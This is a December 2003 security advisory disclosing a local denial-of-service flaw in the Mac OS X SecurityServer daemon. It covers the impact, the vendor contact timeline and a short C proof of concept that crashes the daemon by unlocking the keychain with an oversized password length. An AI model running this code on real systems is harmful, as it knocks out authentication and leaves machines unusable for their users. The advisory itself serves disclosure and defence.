dosMac.txt

`Advisory Name  
Local Denial Of Service Attack Against The SecurityServer Daemon In MacOS X,  
MacOS X Server, And Darwin.  
  
Release Date  
12-30-03  
  
Effected Platforms  
Apple MacOS X, MacOS X Server, and Darwin.  
  
Author  
Matt Burnett ([email protected])  
  
Vendor Status  
No patch has been released as of 12-30-03.  
  
Overview  
SecurityServer is a daemon used by the effected platforms to provide  
authentication, authorization, password dictionary (Keychain), and other  
services. It is possible for any user to cause the SecurityServer daemon to  
crash. When this happens it will have a cascading effect crashing other  
processes, and leaving the system in an unusable state.  
  
Details  
It is possible to cause the SecurityServer daemon to crash by unlocking a  
locked keychain and specifying a very long password. When the SecurityServer  
daemon crashes, it will have a cascading effect crashing other processes  
that rely on it. Since MacOS X, and many GUI and CLI programs rely on the  
authentication, authorization, and password dictionary services provided by  
SecurityServer, this can cause undefined behavior of those processes.  
Typical behavior for programs such as login, sshd, su, and sudo are that  
they will say you entered an invalid password. Typical behavior for most  
applications that use the authorization services is that they will hang. It  
is not possible to manually restart the SecurityServer daemon unless you  
already have a existing root shell open before the attack has taken place,  
since SecurityServer must be launched as root and it does no have the suid  
bit enabled. Even when it is relaunched after an attack has taken place, it  
will leave the system in an unusable state. Logins via the GUI (loginwindow)  
will not work and authorization services will not work either. The only  
realistic way to recover from an attack is to reboot the machine. I have not  
fully investigated the extent that this attack could be exploited, or its  
effect on a system as a whole since so many programs and applications rely  
on the SecurityServer daemon.  
  
Proof Of Concept Code  
To build this code run ³gcc <file name> -framework Security ­o  
CrashSecurityServer²  
  
#include <Security/Security.h>  
int main(int argc, const char *argv[])  
{  
SecKeychainRef defaultKeychain;  
SecKeychainCopyDefault(&defaultKeychain);  
SecKeychainLock(defaultKeychain);  
SecKeychainUnlock(defaultKeychain, 0xFFFFFFFF, "password", true);  
return 0;  
}  
  
Vendor Response  
Apple Developer Connection told me that Apple does not give release dates  
for patches.  
  
Timeline ??-??-?? Flaw discovered. Most likely in MacOS X Public Beta  
or 10.0. I do not remember the exact date.  
11-20-03 Vendor is notified of flaw and is supplied with  
proof of concept code.  
12-29-03 Asked vendor for status update. Apple Product  
Security referred me to Apple Developer Connection.  
Apple Developer Connection informed me that Apple  
does not give release dates for patches.  
12-30-03 Advisory and proof of concept code  
released.  
  
Recommendation  
As of the release of this advisory Apple has not yet released a patch. I am  
unable to release a patch because Apple only makes portions of the code  
needed to build SecurityServer available to the public. My only  
recommendation is for you to allow only people your personally trust onto  
your systems if they are effected by this flaw.  
  
`